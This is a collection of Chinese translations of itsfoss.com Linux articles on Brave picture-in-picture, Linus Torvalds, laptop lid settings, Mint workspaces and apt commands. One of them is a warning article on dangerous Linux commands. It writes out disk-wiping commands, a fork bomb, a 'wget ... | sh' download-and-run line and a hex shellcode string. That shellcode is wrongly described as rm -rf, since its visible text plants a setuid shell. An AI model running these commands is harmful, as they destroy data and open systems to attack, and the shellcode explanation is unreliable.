Abhishek Prakash 发布的文章

Brave 是一款出色的类似于 Chrome,但可 替代 Chrome 的网络浏览器

Firefox 和 Brave 是我喜欢在 Linux 系统上使用的两种浏览器。两者都有不同的优势。

Firefox 比 Brave 做得更好的一件事就是画中画(PIP)模式,它适用于 YouTube、Netflix 和大多数流媒体网站。

Brave 也有画中画模式,但它是如此隐藏,以至于你觉得它根本没有 PIP 支持。

内置画中画适用于某些网站(如 YouTube),但可能不适用于其他网站(如 Prime Video)。不用担心!你可以为此使用专用扩展。

让我在本教程中展示这两种方法。

方法 1:在视频上双击右键

技巧是依次单击两次右键,你应该会看到画中画模式选项。

让我通过一个例子来说明这一点。在 Brave 中播放 YouTube 视频。现在右键单击视频。

第一次右键单击后将光标从上下文菜单稍微移开

再次右键单击。它应该在视频上,但不在上一个上下文菜单上,而在视频的其他地方。

现在你应该看到另一个带有画中画选项的上下文菜单。

你应该在第二次右键单击中看到画中画选项

选择画中画,视频将从窗口中弹出。你可以将其移动到浏览器中的任何位置。

Brave 浏览器画中画模式

当你使用其他应用时,你还可以让它在屏幕上的任何位置播放。

Brave 在画中画模式中播放影片

在最近的 Brave 版本中,你可以根据自己的喜好调整弹出窗口的大小。

我不明白为什么 Brave 把它隐藏成这样。为什么不突出它?

无论如何,这适用于 YouTube 等网站,但可能不适用于 Prime 视频。如果你愿意,你可以安装一个扩展。

方法 2:使用画中画扩展

谷歌提供了一个官方插件,可让你在谷歌 Chrome 中获得画中画功能。由于 Brave 基于 Chromium,你可以在 Brave 中使用相同的扩展。

画中画扩展

进入扩展页面并点击 “ 添加到 Brave Add to Brave ” 按钮。

为 Brave 添加画中画扩展

当你单击它时,它会提示添加扩展的选项。

添加扩展

添加扩展后,你应该会在浏览器的右上角看到它。

使用画中画扩展

播放视频时,单击该扩展图标,视频应该会弹出。

你能在 Brave 中启用 PIP 模式吗?

画中画模式已成为休闲流媒体消费的必备功能。我觉得奇怪的是,Brave 和其他浏览器没有足够重视它。 Firefox 处理得很好。

我希望这个快速的小技巧可以帮助你在 Brave 浏览器中获得 PIP 体验。你更喜欢这两种方法中的哪一种?右键单击还是扩展?


via: https://itsfoss.com/picture-in-picture-brave/

作者:Abhishek Prakash 选题:lkxed 译者:geekpi 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

一些已知的、或鲜为人知的事情 —— 这里有 20 件关于 Linux 内核创造者 Linus Torvalds 的趣事。

Linus Torvalds,Linux 和 Git 的创造者

Linus Benedict Torvalds(林纳斯·本纳第克特·托瓦兹),在 1991 年还是一名攻读硕士的芬兰学生时,他开发了一个类 Unix 操作系统。从那时起,它引发了一场革命:今天,它为大多数 Web 服务器、许多嵌入式设备和 500 强超级计算机 中的每一台提供支持。

我已经写过一些鲜为人知的 关于 Linux 的事实,但这篇文章不是关于 Linux 的,而是关于它的创造者,Linus Torvalds。

通过阅读他的传记《 只是为了好玩 Just for Fun 》,我了解了有关 Torvalds 的许多事情。如果你有兴趣,你也可以 订购一本传记。(这是一个 受益推荐 链接。)

关于 Linus Torvalds 的 20 个有趣事实

你可能已经知道一些关于 Linus 的事情,但是通过阅读这篇文章,你很有可能会了解一些关于他的新趣事。

1、以诺贝尔奖获得者的名字命名

Linus Benedict Torvalds 于 1969 年 12 月 28 日出生于赫尔辛基。他来自一个记者家庭。他的父亲 Nils Torvalds 是芬兰政治家,可能是未来参加选举的总统候选人。

他的名字来自于诺贝尔化学与和平奖的双奖获得者 Linus Pauling 的名字。

2、世界上所有的 Torvalds 都是亲戚

虽然你可能会找到几个名字为 Linus 的人,但你不会找到很多姓 Torvalds 的人 —— 因为“正确”的拼写实际上是 Torvald(没有 s)。他的祖父将名字从 Torvald 改为 Torvalds,并在末尾添加了一个“s”。于是,Torvalds 王朝(如果我可以这么称呼它的话)开始了。

由于这是一个不寻常的姓氏,所以世界上只有不到 30 个 Torvalds,而且他们都是亲戚,这是 Linus Torvalds 在他的传记中说的。

年轻的 Linus Torvalds 和他的记者妹妹 Sara Torvalds

3、他的第一台电脑是 Commodore Vic 20

10 岁时,Linus 开始在他外祖父的 Commodore Vic 20 上使用 BASIC 编写程序。这使他发现自己对计算机和编程的热爱。

4、Linus Torwalds 少尉

尽管他更喜欢花时间在电脑上而不是体育活动上,但他必须参加强制性的军事训练。他的军衔是少尉。

5、因为他没有钱购买 UNIX,他创造了 Linux

1991 年初,出于对 MS-DOSMINIX 不满意,Torvalds 想购买一套 UNIX 系统。对我们来说幸运的是,他没有足够的钱。因此,他决定从头开始制作自己的 UNIX 复制品。

6、Linux 可以被称为 Freax

1991 年 9 月,Linus 发布了 Linux(代表 “Linus's MINIX”)并鼓励他的同好们使用其源代码进行更广泛的分发。

Linus 认为 Linux 这个名字太自负了。他想把它改成 Freax(基于 free、freak 和 MINIX),但他的朋友 Lemmarke 已经在 FTP 服务器上创建了一个名为 Linux 的目录。因此,Linux 的名称才得以沿用下来。(LCTT 译注:这个故事和我听到的不同。)

7、Linux 是他在大学的主要项目

《Linux:一种可移植的操作系统》是他的硕士论文题目。

8、他娶了他的学生

1993 年,他在赫尔辛基大学任教时,给学生们布置了一份写电子邮件的作业。是的,当时撰写电子邮件没那么简单。

一位名叫 Tove Monni 的女学生完成了这项任务,给他发送一封电子邮件,并邀请他出去约会。他接受了,三年后,他们三个女儿中的第一个出生了。

我应该说他开创了网恋的潮流吗?嗯……不!让我们就此打住 :wink:

Linus Torvalds 和他的妻子 Tove Monni Torvalds

9、Linus 有一颗以他的名字命名的小行星

他的名字获得了无数荣誉,包括一颗名为 9793 Torvalds 的小行星。

10、Linus 不得不为 Linux 的商标而战

Linux 是 Linus Torvalds 的注册商标。Torvalds 最初并不关心这个商标,但在 1994 年 8 月,William R. Della Croce, Jr. 注册了 Linux 商标,并开始向 Linux 开发人员索要版税。作为回应,Torvalds 起诉了他,并于 1997 年解决了此案。

11、史蒂夫·乔布斯希望他为苹果公司的 macOS 工作

2000 年,苹果公司的创始人 史蒂夫·乔布斯邀请他为苹果公司的 macOS 工作。Linus 拒绝了这个报酬丰厚的提议,并继续致力于开发 Linux 内核。

12、Linus 还创建了 Git

大多数人都知道 Linus Torvalds 创建 Linux 内核,但他还创建了 Git,这是一个广泛用于全世界的软件开发的版本控制系统。

直到 2005 年,(当时)专有服务 BitKeeper 还用于 Linux 内核的开发。而当 Bitkeeper 关闭其免费服务时,Linus Torvalds 自己创建了 Git,因为其他版本控制系统都不能满足他的需求。

13、如今 Linus 几乎不编程

尽管 Linus 全职从事 Linux 内核工作,但他几乎不再为它编写任何代码。事实上,Linux 内核中的大部分代码都来自世界各地的贡献者。他在内核维护人员的帮助下,确保每个版本发布都能顺利进行。

14、Torvalds 讨厌 C++

Linus Torvalds 极其 不喜欢 C++ 编程语言,并对此直言不讳。他开玩笑说 Linux 内核的编译速度都比 C++ 程序快。

15、即使是 Linus Torvalds 也发现 Linux 难以安装(现在你可以自我感觉良好了)

几年前,Linus 说过 他发现 Debian 难以安装。众所周知,他 在他的主要工作站上使用 Fedora

16、他喜欢水肺潜水

Linus Torvalds 喜欢水肺潜水。他甚至创造了一种供水肺潜水员使用的潜水记录工具 Subsurface。你会惊讶地发现,有时他甚至会在论坛上回答一些普通问题。

穿着潜水装备的 Linus Torvalds

17、满嘴脏话的 Torvalds 改善了他的行为

Torvalds 以在 Linux 内核邮件列表中使用 轻度脏话 而闻名,这遭到了一些业内人士的批评。但是,很难批评他对 “F**k you, NVIDIA” 的玩笑,因为它促使英伟达为 Linux 内核提供了更好的适配。

2018 年,Torvalds 暂时离开了 Linux 内核开发,以改善他的行为。这是在他签署有争议的 Linux 内核开发人员行为准则 之前完成的。

Linus Torvalds 对英伟达的中指:去你的!英伟达

18、他太害羞了,不敢在公共场合讲话

Linus 对公开演讲感到不舒服。他不怎么参加活动。而当他必须参加时,他更喜欢坐下来接受主持人的采访。这是他最喜欢的公开演讲方式。

19、他不是社交媒体爱好者

Google Plus 是他使用过的唯一社交媒体平台。他甚至在空闲时花了一些时间 点评了小组件。Google Plus 现已停用了,因此他没有其他社交媒体帐户。

20、Torvalds 定居在美国

Linus 于 1997 年移居美国,并与他的妻子 Tove 和他们的三个女儿在那里定居。他于 2010 年成为美国公民。目前,作为 Linux 基金会 的成员,他全职从事 Linux 内核工作。

很难说 Linus Torvalds 的净资产是多少,或者 Linus Torvalds 的收入是多少,因为这些信息从未公开过。

Tove 和 Linus Torvalds 和他们的女儿 Patricia、Daniela 和 Celeste

如果你有兴趣了解更多有关 Linus Torvalds 早期生活的信息,我建议你阅读他的传记,书名为 《 只是为了好玩 Just for Fun 》。

免责声明:这里的一些图片来源于互联网,我没有图像的版权,我也不打算用这篇文章侵犯 Torvalds 家族的隐私。


via: https://itsfoss.com/linus-torvalds-facts/

作者:Abhishek Prakash 选题:lkxed 译者:gpchn 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

什么是最危险的 Linux 命令?

有人无数次问我这个问题,我一直避免回答,因为没有一个明确的危险的 Linux 命令清单

你拥有的工具使你能够控制和修改你的操作系统的每一个方面。我不是想吓唬你,但如果你不熟悉这些命令和工具,你可以很容易地把你的系统摧毁。

想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床?那会对她的成长造成损害。

这就是父母设定界限和引导孩子的地方。不要靠近火堆,不要把手指戳到电源插座上……随着孩子的成长和经验的积累,她可以把炉子打开,在壁炉里生火,插上电源线。

同样,如果你知道一些已知的风险命令,你可能会避免落入巨魔的陷阱,他们试图欺骗你运行命令,扰乱你的系统。

当你积累了经验,知道了这些命令和工具的含义和用法,用愚蠢和棘手的命令破坏你的系统的机会就会减少。

我的同事 Sreenath 收集了一些流行的危险 Linux 命令。让我们看看它们是如何干掉你的 Linux 系统的。

免责警告:如果你不清楚你在做什么,请勿尝试本文提及的这些命令,否则后果自负。

1、rm -rf /*

这个可能是在各种社交媒体上盘旋的最臭名昭著的命令。你会经常发现巨魔们在各种讨论中提及这个。

rm 命令用来删除文件/目录。标志 -r-f 表示递归地删除指定目录内的所有文件。现在,如果没有 root 权限,这个命令不会造成任何伤害。

运行 sudo rm -rf / 命令也不会产生任何问题,因为大多数发行版提供了一个故障安全选项。你需要指定 --no-preserve-root 才能实际运行它。

sudo rm -rf / --no-preserve-root

然而,一个更简单的版本可以是这样的:

sudo rm -rf /*

它将开始递归地删除根目录下的所有文件,在一段时间后,你的系统会冻结,并显示“删除文件错误”。一旦重新启动,你将被送到 grub-rescue 提示符下。

2、覆盖你的分区

如果你熟悉文件系统,你可能知道 /dev/sda 是什么。它(通常)是你的磁盘驱动器分区。> 操作符用于将其前面的命令的输出写到所提供的指定位置。

一旦你运行任何命令并把它写到 /dev/sda,比如说:

echo "Hello" > /dev/sda

这将用 Hello 字符串替换你的包含启动系统所需的所有数据的分区。

3、把所有的东西都移到黑洞

每个 Linux 系统内都有一个黑洞。而这个黑洞就是 /dev/null

无论你把什么东西扔进这个区域都会永远丢失。而且,它在丢弃数据后会将写入过程报告为成功,这是其破坏性的主要原因。

mv /home/user/* /dev/null

mv 命令 用来移动或重命名文件/目录。在上面的命令中,你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏,但你所有的个人数据都会丢失。

4、格式化你的硬盘

mkfs 是一个命令行工具,用于格式化磁盘和分区。它是一个超级方便的工具,可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。

mkfs.ext3 /dev/sda

这个命令完成了它的工作,而你最终得到了一个无法恢复的混乱的系统。

5、fork 炸弹

这个看起来很可爱的特殊字符和符号的随机组合,足以通过耗尽系统资源来冻结一个正在运行的系统。

:(){ :|:& };:

& - Shell 后台操作符。它通知 Shell 将命令放在后台。在这里,它定义了一个叫做 : 的函数,它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统冻结。

顾名思义,它自己分叉,最终成为一个连锁炸弹,吃掉了所有的系统资源。你将被迫重启系统,这并不像本列表中的其他命令那样糟糕。

6、覆盖重要的配置文件

虽然这本身不是一个命令,但它更像是一个预防性的东西。

如上所述,> 操作符是用来向文件写入的。它丢弃文件中已经存在的东西,并将提供的新数据写入文件中。

command > config_filename

现在,如果你将一些重要的配置文件作为写数据的地方,它将被取代内容,留下一个损坏的系统。

7、用垃圾数据替换分区

/dev/random 是 Linux 中的一个命令,它可以创建垃圾数据。把它和 dd 命令 以及你的分区结合起来,你就得到了一个可以让你的分区着火的燃烧弹。

dd if=/dev/random of=/dev/sda

dd 命令被用作一个低级别的复制工具。这里,它从 /dev/random 中获取随机数据,并用这些垃圾替换 /dev/sda 分区。

一个类似的效果是通过以下方式获得的:

cat /dev/urandom > filename

这里,它从 /dev/urandom(LCTT 译注:在 Linux 上,/dev/urandom 现在和 /dev/random 的等价的 )中获取垃圾数据并填入一个文件。如果不使用 Ctrl + C 终止,该文件会占据相当大的空间,这对低端系统来说可能是灾难性的。

8、将你的系统暴露给所有人

在 Linux 中,所有东西都是文件,每个 文件都有一定的权限

你可以用 ls -l 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性,但你可以用一个命令颠覆这个系统。

chmod -R 777 /

上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。

9、下载并运行恶意的内容

你如何在 Linux 中安装软件?你可以使用官方的软件包管理器或随时可以使用的软件包,如 Deb/RPM、Snap、Flatpak 等。

然而,有些软件是没有打包的,它们的开发者提供了下载和运行的 Shell 脚本。以 Homebrew 为例:

你下载一个 Shell 文件,然后以 root 身份运行它,在你的系统中安装一个软件。你看出问题了吗?

虽然它对 Homebrew 这样的官方软件有效,但在你像下面这样直接运行它之前,你应该仔细检查你所下载的 Shell 脚本的内容:

wget http://malicious_source -O- | sh

这样的命令会在你的系统中下载并运行恶意脚本,这可能会破坏你的系统的安全性。

10、伪装的命令

在 Linux 终端中,有许多方法可以运行命令。其中一种方式是十六进制编码的命令:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

虽然它看起来很花哨,但这是 rm -rf 命令的一个编码版本。它的效果与运行前面的命令相同。因此,在从互联网上复制和粘贴这些花哨的命令时,要小心谨慎。

总结

pebkac

有一个著名的计算机术语 PEBKAC:“ 问题存在于键盘和椅子之间 problem exists between keyboard and chair ”。

因为归根结底,还是要靠用户(你)来保证你不会因为盲目地运行任何危险的命令而破坏系统。

UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做,那么 UNIX 的工作就是以它所知道的最有效的方式将石头砸到脚上。

而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么,完全取决于你。

我建议做这些事情以确保更安全的体验。

  • 尝试并理解你将要运行的命令。
  • 用 Timeshift 保持你的系统设置的备份
  • 用 DejaDup 保持个人数据(主目录)的备份

正如我所说,没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中,而且根本没有尽头。

我希望这能给你一些提示,告诉你为了保持 Linux 的安全,你不应该做什么。如果你有建议,请在评论区告诉我。


via: https://itsfoss.com/dangerous-linux-commands/

作者:Abhishek Prakash 选题:lkxed 译者:wxy 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

如果你在笔记本电脑上使用 Ubuntu,你可能已经注意到当你合上盖子时系统处于挂起状态。

这是预期的行为。它可以节省电池和你的工作。你掀开盖子,系统唤醒,你可以登录并继续工作。

这一切听起来都不错,除非你使用多显示器设置。像我这样的一些人更喜欢关闭笔记本电脑,只使用外接显示器。

但是,如果关闭笔记本电脑盖会挂起系统,那么会产生问题。

让我告诉你如何改变这种行为。

关闭笔记本电脑盖时不要挂起

实际上,我注意到最近的 Ubuntu 版本在这个情况下更智能。当笔记本电脑连接到扩展坞并合上盖子时,它不会进入挂起模式。

这是正常的预期行为,但由于 Ubuntu 某种神才知道的原因,它可能不会一直有效。

好消息是你可以使用 GUI 和命令行强制更改此行为。

让我分享这两种方法。

方法 1:使用 GNOME 优化

如果你使用的是默认的 GNOME 桌面,那么你很幸运。 在 Ubuntu 的软件中心安装 GNOME 优化(Tweaks)工具,或使用以下命令:

sudo apt install gnome-tweaks

安装后,启动优化应用。在侧边栏的 常规 General 选项卡中,关闭“ 笔记本电脑盖合上时挂起 Suspend when laptop lid is closed ”按钮。

change lid close behavior ubuntu

这就好了。你不需要重启即可使更改生效。

现在,让我们谈谈命令行方法。

方法 2:更改登录配置(针对高级用户)

如果你查看文件 /etc/systemd/logind.conf 的内容,你将看到三种不同类型的笔记本电脑合盖默认设置:

  • HandleLidSwitch=suspend:当笔记本电脑使用电池供电时,合盖挂起
  • HandleLidSwitchExternalPower=suspend:当笔记本电脑插入电源插座时,合盖挂起
  • HandleLidSwitchDocked=ignore:当笔记本电脑连接到扩展坞时,合盖忽略

Default laptop lid closing settings

如你所见,如果合上盖子,笔记本电脑将挂起,无论它是否连接到电源。而连接扩展坞忽略合盖。

如果需要,你可以根据自己的喜好将这些参数的值更改为其中之一:

  • suspend:合盖时挂起
  • lock:合盖时锁定
  • ignore:什么都不做
  • poweroff:关机
  • hibernate:合盖时休眠

如果你不希望你的系统在笔记本电脑盖合上时执行任何特殊操作,我建议你使用 ignore

你可以编辑 /etc/systemd/logind.conf 文件,或者在 /etc/systemd/logind.conf.d 目录中创建一个新文件,并取消注释上述设置并更改其值。如果此目录不存在,请创建此目录。

我不会给你确切的命令。如果你熟悉命令行,你应该可以做到。如果你对命令行感到不习惯,请使用前面的 GUI 方法。

我希望这可以帮助你。如果你有任何问题,请告诉我。


via: https://itsfoss.com/laptop-lid-suspend-ubuntu/

作者:Abhishek Prakash 选题:lkxed 译者:geekpi 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

工作区是组织工作的好方法。

假设你打开了太多应用。你的任务栏会很混乱,你可能很难在不同的程序之间查找/移动。

在这种情况下,工作区会派上用场。你可以对不同工作区中的应用进行分组。假设你打开了许多与编程相关的应用,而同时你也在处理文档。

你可以将它们组织在单独的工作区中。单击并拖动应用窗口,它应该显示将应用移动到不同工作区的选项。

这将以更有条理的方式简化你的工作,并节省一些时间和挫败感。

听起来不错?让我向你展示如何在带 Cinnamon 桌面环境的 Linux Mint 中创建工作区并在它们之间切换。

创建新工作区

在 Linux Mint 中创建或访问工作区很容易。只需按 CTRL + ALT+ ↑。它将向你显示如下所示的屏幕。

只需单击右侧的 + 号即可在默认的 4 个工作区之外添加的新工作区。

Workspace Overview in Linux Mint

Linux Mint 中的工作区是持久的。创建后,这些工作区将始终存在,即使在下次启动后也是如此。

在工作区之间切换

有两种方法可以访问工作区并在它们之间切换。

  • 使用 CTRL + ALT+ ↑,将显示出所有工作区,然后使用箭头键或鼠标在它们之间移动。
  • 使用热角并在左上角移动鼠标。

默认情况下,最新版本的 Linux Mint 中禁用了热角功能。

要启用热角在工作区之间切换,你应该进入 系统设置 System Settings 并选择 热角 Hot Corners 选项。

Hot Corners Option in System Settings

现在,通过切换按钮启用左上角。默认情况下,此角专用于显示所有工作区(你也可以更改它)。

Show All Workspaces in Top Left Corner

你现在可以通过将鼠标悬停在左上角来访问工作区网格。

此外,如果需要,你可以按右侧的 + 符号添加新工作区。或根据需要通过单击名称来重命名现有工作区。

Workspace Overview Accessible from Top Left Corner

删除工作区

实际上,你可以通过单击 + 号来创建多个工作区。如果你想删除工作区,请将鼠标悬停在该工作区上,单击工作区右上角的 X 号。

Delete a Workspace

我希望这篇快速文章能帮助你在 Linux Mint 中创建工作区。你经常使用工作空间吗?让我们知道你对工作空间的看法。同时,你还可以查看 安装 Linux Mint 20 后要做的事情 的帖子。


via: https://itsfoss.com/workspaces-linux-mint/

作者:Abhishek Prakash 选题:lkxed 译者:geekpi 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

如果想让你的 Ubuntu 或者 Debian 系统保持更新,要用 sudo apt updatesudo apt upgrade 命令组合。

一些以前的教程也会提到 sudo apt-get updatesudo apt-get upgrade

aptapt-get 命令运行起来几乎一样,除了一些细微的差别,后面我会讨论。

我们首先讨论一下 updateupgrade 的区别。这两个难道不是一样的吗?

apt 的 update 和 upgrade 的区别

尽管听上去运行 apt update 可以给你一个包的最新版本,然而这并不正确。update 命令只会获得系统上所有包的最新信息,并不会下载或者安装任何一个包。而是 apt upgrade 命令来把这些包下载和升级到最新版本。

还是有点困惑?让我来接着解释。我建议阅读 包管理器的概念。这个会帮你更好的理解这些东西。

Linux Package Manager Explanation

基本上,你的系统围绕着一个所有可用包的数据库(缓存)工作。注意,这个缓存(或者数据库)并不包含这些包本身,仅仅是关于包的元数据(版本、仓库、依赖等)。

如果你不更新这个数据库,系统就不会知道是否有更新的版本。

当你运行 apt update 或者 apt-get update 命令,它会获取这些包的最新元数据(包的版本等)。

apt update

这时候本地缓存就被更新了,有一些包可以升级。用 sudo apt upgrade 可以升级所有(可升级的)包。

它会显示要升级的包,并且通过回车(默认选择是 Y)或者按下 Y 键进行确认。要在这个阶段取消升级,可以按下 N

apt upgrade

下面这些可能会帮助你记忆:

  • apt update:更新包缓存(可以知道包的哪些版本可以被安装或升级)
  • apt upgrade:升级包到最新版本

因为有一些管理员命令,需要作为 root 运行。因此需要使用 sudo 配合其他命令。sudo 使你能够作为 root 在 Ubuntu 和 Debian 上运行命令。

既然理解了 updateupgrade 是如何一起运行的,我们接下来来讨论一下 aptapt-get 的用法。

apt 还是 apt-get?应该用哪个?

Debian 和 Ubuntu 使用的是 APT 包管理系统。不要和 apt 命令弄混了。

有许多和 APT 包管理交互的命令;apt-getaptdpkgaptitude 等。

这里面最受欢迎的就是 apt-get 命令。它是一个 低层级 low-level 且功能丰富的命令。aptapt-get 命令的一个更新而更简单的版本。

可以读一下这篇文章来 了解 atp 和 apt-get 命令的不同。下面重点讨论这些命令中 updateupgrade 选项的区别。

apt update vs apt-get update

apt-get updateapt update 做的是同样的事,都是更新本地包缓存,这样的话你的系统就知道有哪些包的版本是可用的。

从技术上讲,其实并没有区别。然而,apt update 在一个方面比 apt-get update 做的好,它会告诉你可升级的包的数量

Hit:15 https://ppa.launchpadcontent.net/slimbook/slimbook/ubuntu jammy InRelease
Fetched 213 kB in 4s (55.8 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
6 packages can be upgraded. Run 'apt list --upgradable' to see them.

apt-get update 甚至不会告诉你包是否可以升级。

apt get update

apt update output

apt 中可以看到 列出可升级的包,而 apt-get 甚至没有这个选项。

# apt list --upgradable
Listing... Done
fprintd/jammy-updates 1.94.2-1ubuntu0.22.04.1 amd64 [upgradable from: 1.94.2-1]
gnome-control-center-data/jammy-updates,jammy-updates 1:41.7-0ubuntu0.22.04.4 all [upgradable from: 1:41.7-0ubuntu0.22.04.1]
gnome-control-center-faces/jammy-updates,jammy-updates 1:41.7-0ubuntu0.22.04.4 all [upgradable from: 1:41.7-0ubuntu0.22.04.1]
gnome-control-center/jammy-updates 1:41.7-0ubuntu0.22.04.4 amd64 [upgradable from: 1:41.7-0ubuntu0.22.04.1]
libpam-fprintd/jammy-updates 1.94.2-1ubuntu0.22.04.1 amd64 [upgradable from: 1.94.2-1]
vivaldi-stable/stable 5.4.2753.40-1 amd64 [upgradable from: 5.4.2753.37-1]

现在来比较一下两个命令中 upgrade 的选项。

apt upgrade vs apt-get upgrade

apt-get upgradeapt upgrade 命令根据本地包缓存(通过 update 命令更新)的数据,安装可升级包的最新版本。

然而,apt upgrade 命令会做两件与 apt-get upgrade 不同的事情。

apt upgrade 命令可以升级 Linux 内核版本,apt-get upgrade 不能。apt-get 命令需要使用 apt-get dist-upgrade 来升级内核版本。

apt-get upgrade command cannot upgrade Linux kernel version

这是因为升级内核版本意味着安装一个全新的包。apt-get upgrade 命令不能安装一个新的包。它只能升级现有的包。

apt upgradeapt-get 做的好的另一件小事是,它会在底部显示一个进度条

apt upgrade progress bar

总结

updateupgrade 两个词很相似,这就是为什么很多新用户会感到困惑。有时候,我觉得 apt update 命令应该和 apt upgrade 命令合并。

我意思是 upgrade(所有已安装的包)和 update(本地包元数据缓存)一起完成工作。为什么要有两个分开的命令呢?把这两个领命合成一个 upgrade 命令吧。Fedora 就是这样对 DNF 命令进行了改进。不过这只是我的观点。

我希望这篇文章可以解释一些关于 apt-get updateapt-get upgradeapt update 以及 apt upgrade 命令的问题。

如果有任何问题,请与我联系。


via: https://itsfoss.com/apt-update-vs-upgrade/

作者:Abhishek Prakash 选题:lkxed 译者:Yufei-Yan 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出